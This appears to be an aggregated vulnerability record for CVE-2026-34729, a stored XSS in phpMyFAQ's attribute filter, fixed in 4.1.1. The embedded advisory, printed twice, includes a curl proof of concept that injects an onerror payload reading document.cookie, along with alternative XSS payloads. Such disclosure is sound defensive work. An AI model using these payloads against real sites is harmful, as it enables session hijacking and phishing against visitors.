{"id":"CVE-2026-34729","aliases":["EUVD-2026-18260","GHSA-cv2g-8cj8-vgc7"],"status":"published","title":"phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()","description":"phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, there is a stored XSS vulnerability via Regex Bypass in Filter::removeAttributes(). This issue has been patched in version 4.1.1.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00251,"percentile":0.16569,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-04-01T22:31:44Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","fixed_in":["4.1.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.1.0"},{"fixed":"4.1.1"}]}]},{"source":"osv","ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.1"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2"]}],"products":[{"vendor":"phpmyfaq","product":"phpmyfaq"},{"vendor":"thorsten","product":"phpmyfaq"}],"references":[{"url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-cv2g-8cj8-vgc7","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1","tags":["x_refsource_MISC","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34729","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-cv2g-8cj8-vgc7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34729.json","tags":["advisory"]},{"url":"https://github.com/thorsten/phpMyFAQ","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34729","title":"phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()","description":"phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, there is a stored XSS vulnerability via Regex Bypass in Filter::removeAttributes(). This issue has been patched in version 4.1.1.","status":"published","published":"2026-04-02T14:46:22.056Z","modified":"2026-04-02T18:44:47.729Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:20:13.962274Z"}],"euvd":[{"id":"EUVD-2026-18260","description":"phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, there is a stored XSS vulnerability via Regex Bypass in Filter::removeAttributes(). This issue has been patched in version 4.1.1.","status":"published","published":"2026-04-02T14:46:22Z","modified":"2026-04-02T18:44:47Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:17.32175Z"}],"ghsa":[{"id":"GHSA-cv2g-8cj8-vgc7","title":"phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()","description":"### Summary\nThe sanitization pipeline for FAQ content is:\n1. `Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)` — encodes `\u003c`, `\u003e`, `\"`, `'`, `\u0026` to HTML entities\n2. `html_entity_decode($input, ENT_QUOTES | ENT_HTML5)` — decodes entities back to characters\n3. `Filter::removeAttributes($input)` — removes dangerous HTML attributes\n\nThe `removeAttributes()` regex at line 174 only matches attributes with double-quoted values:\n```php\npreg_match_all(pattern: '/[a-z]+=\".+\"/iU', subject: $html, matches: $attributes);\n```\n\nThis regex does NOT match:\n- Attributes with single quotes: `onerror='alert(1)'`\n- Attributes without quotes: `onerror=alert(1)`\n\nAn attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Filter.php`, line 174\n\n**Sanitization flow for FAQ question field:**\n\n`FaqController::create()` lines 110, 145-149:\n```php\n$question = Filter::filterVar($data-\u003equestion, FILTER_SANITIZE_SPECIAL_CHARS);\n// ...\n-\u003esetQuestion(Filter::removeAttributes(html_entity_decode(\n    (string) $question,\n    ENT_QUOTES | ENT_HTML5,\n    encoding: 'UTF-8',\n)))\n```\n\n**Template rendering:** `faq.twig` line 36:\n```twig\n\u003ch2 class=\"mb-4 border-bottom\"\u003e{{ question | raw }}\u003c/h2\u003e\n```\n\n**How the bypass works:**\n\n1. Attacker submits: `\u003cimg src=x onerror=alert(1)\u003e`\n2. After `FILTER_SANITIZE_SPECIAL_CHARS`: `\u0026lt;img src=x onerror=alert(1)\u0026gt;`\n3. After `html_entity_decode()`: `\u003cimg src=x onerror=alert(1)\u003e`\n4. `preg_match_all('/[a-z]+=\".+\"/iU', ...)` runs:\n   - The regex requires `=\"...\"` (double quotes)\n   - `onerror=alert(1)` has NO quotes → NOT matched\n   - `src=x` has NO quotes → NOT matched\n   - No attributes are found for removal\n5. Output: `\u003cimg src=x onerror=alert(1)\u003e` (XSS payload intact)\n6. Template renders with `|raw`: JavaScript executes in browser\n\n**Why double-quoted attributes are (partially) protected:**\n\nFor `\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e`:\n- The regex matches both `src=\"x\"` and `onerror=\"alert(1)\"`\n- `src` is in `$keep` → preserved\n- `onerror` is NOT in `$keep` → removed via `str_replace()`\n- Output: `\u003cimg src=\"x\"\u003e` (safe)\n\nBut this protection breaks with single quotes or no quotes.\n\n### PoC\n\n**Step 1: Create FAQ with XSS payload (requires authenticated admin):**\n```bash\ncurl -X POST 'https://target.example.com/admin/api/faq/create' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=admin_session' \\\n  -d '{\n    \"data\": {\n      \"pmf-csrf-token\": \"valid_csrf_token\",\n      \"question\": \"\u003cimg src=x onerror=alert(document.cookie)\u003e\",\n      \"answer\": \"Test answer\",\n      \"lang\": \"en\",\n      \"categories[]\": 1,\n      \"active\": \"yes\",\n      \"tags\": \"test\",\n      \"keywords\": \"test\",\n      \"author\": \"test\",\n      \"email\": \"test@test.com\"\n    }\n  }'\n```\n\n**Step 2: XSS triggers on public FAQ page**\n\nAny user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:\n```\nhttps://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html\n```\n\nThe FAQ title is rendered with `|raw` in `faq.twig` line 36 without HtmlSanitizer processing (the `processQuestion()` method in `FaqDisplayService` only applies search highlighting, not `cleanUpContent()`).\n\n**Alternative payloads:**\n```html\n\u003cimg/src=x onerror=alert(1)\u003e\n\u003csvg onload=alert(1)\u003e\n\u003cdetails open ontoggle=alert(1)\u003e\n```\n\n### Impact\n\n- **Public XSS:** The XSS executes for ALL users viewing the FAQ page, not just admins.\n- **Session hijacking:** Steal session cookies of all users viewing the FAQ.\n- **Phishing:** Display fake login forms to steal credentials.\n- **Worm propagation:** Self-replicating XSS that creates new FAQs with the same payload.\n- **Malware distribution:** Redirect users to malicious sites.\n\n**Note:** While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.","status":"published","published":"2026-04-01T22:31:44Z","modified":"2026-04-06T17:18:46Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:48.966685Z"}],"nvd":[{"id":"CVE-2026-34729","description":"phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, there is a stored XSS vulnerability via Regex Bypass in Filter::removeAttributes(). This issue has been patched in version 4.1.1.","status":"published","published":"2026-04-02T15:16:42.393Z","modified":"2026-10-25T23:10:00.167Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:12.73929Z"}],"osv":[{"id":"CVE-2026-34729","title":"phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()","description":"phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, there is a stored XSS vulnerability via Regex Bypass in Filter::removeAttributes(). This issue has been patched in version 4.1.1.","status":"published","published":"2026-04-02T14:46:22.056Z","modified":"2026-10-28T02:31:04.134977007Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-cv2g-8cj8-vgc7","title":"phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()","description":"### Summary\nThe sanitization pipeline for FAQ content is:\n1. `Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)` — encodes `\u003c`, `\u003e`, `\"`, `'`, `\u0026` to HTML entities\n2. `html_entity_decode($input, ENT_QUOTES | ENT_HTML5)` — decodes entities back to characters\n3. `Filter::removeAttributes($input)` — removes dangerous HTML attributes\n\nThe `removeAttributes()` regex at line 174 only matches attributes with double-quoted values:\n```php\npreg_match_all(pattern: '/[a-z]+=\".+\"/iU', subject: $html, matches: $attributes);\n```\n\nThis regex does NOT match:\n- Attributes with single quotes: `onerror='alert(1)'`\n- Attributes without quotes: `onerror=alert(1)`\n\nAn attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Filter.php`, line 174\n\n**Sanitization flow for FAQ question field:**\n\n`FaqController::create()` lines 110, 145-149:\n```php\n$question = Filter::filterVar($data-\u003equestion, FILTER_SANITIZE_SPECIAL_CHARS);\n// ...\n-\u003esetQuestion(Filter::removeAttributes(html_entity_decode(\n    (string) $question,\n    ENT_QUOTES | ENT_HTML5,\n    encoding: 'UTF-8',\n)))\n```\n\n**Template rendering:** `faq.twig` line 36:\n```twig\n\u003ch2 class=\"mb-4 border-bottom\"\u003e{{ question | raw }}\u003c/h2\u003e\n```\n\n**How the bypass works:**\n\n1. Attacker submits: `\u003cimg src=x onerror=alert(1)\u003e`\n2. After `FILTER_SANITIZE_SPECIAL_CHARS`: `\u0026lt;img src=x onerror=alert(1)\u0026gt;`\n3. After `html_entity_decode()`: `\u003cimg src=x onerror=alert(1)\u003e`\n4. `preg_match_all('/[a-z]+=\".+\"/iU', ...)` runs:\n   - The regex requires `=\"...\"` (double quotes)\n   - `onerror=alert(1)` has NO quotes → NOT matched\n   - `src=x` has NO quotes → NOT matched\n   - No attributes are found for removal\n5. Output: `\u003cimg src=x onerror=alert(1)\u003e` (XSS payload intact)\n6. Template renders with `|raw`: JavaScript executes in browser\n\n**Why double-quoted attributes are (partially) protected:**\n\nFor `\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e`:\n- The regex matches both `src=\"x\"` and `onerror=\"alert(1)\"`\n- `src` is in `$keep` → preserved\n- `onerror` is NOT in `$keep` → removed via `str_replace()`\n- Output: `\u003cimg src=\"x\"\u003e` (safe)\n\nBut this protection breaks with single quotes or no quotes.\n\n### PoC\n\n**Step 1: Create FAQ with XSS payload (requires authenticated admin):**\n```bash\ncurl -X POST 'https://target.example.com/admin/api/faq/create' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=admin_session' \\\n  -d '{\n    \"data\": {\n      \"pmf-csrf-token\": \"valid_csrf_token\",\n      \"question\": \"\u003cimg src=x onerror=alert(document.cookie)\u003e\",\n      \"answer\": \"Test answer\",\n      \"lang\": \"en\",\n      \"categories[]\": 1,\n      \"active\": \"yes\",\n      \"tags\": \"test\",\n      \"keywords\": \"test\",\n      \"author\": \"test\",\n      \"email\": \"test@test.com\"\n    }\n  }'\n```\n\n**Step 2: XSS triggers on public FAQ page**\n\nAny user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:\n```\nhttps://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html\n```\n\nThe FAQ title is rendered with `|raw` in `faq.twig` line 36 without HtmlSanitizer processing (the `processQuestion()` method in `FaqDisplayService` only applies search highlighting, not `cleanUpContent()`).\n\n**Alternative payloads:**\n```html\n\u003cimg/src=x onerror=alert(1)\u003e\n\u003csvg onload=alert(1)\u003e\n\u003cdetails open ontoggle=alert(1)\u003e\n```\n\n### Impact\n\n- **Public XSS:** The XSS executes for ALL users viewing the FAQ page, not just admins.\n- **Session hijacking:** Steal session cookies of all users viewing the FAQ.\n- **Phishing:** Display fake login forms to steal credentials.\n- **Worm propagation:** Self-replicating XSS that creates new FAQs with the same payload.\n- **Malware distribution:** Redirect users to malicious sites.\n\n**Note:** While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.","status":"published","published":"2026-04-01T22:31:44Z","modified":"2026-04-06T17:36:03.843044Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:45.639885Z"}]}}
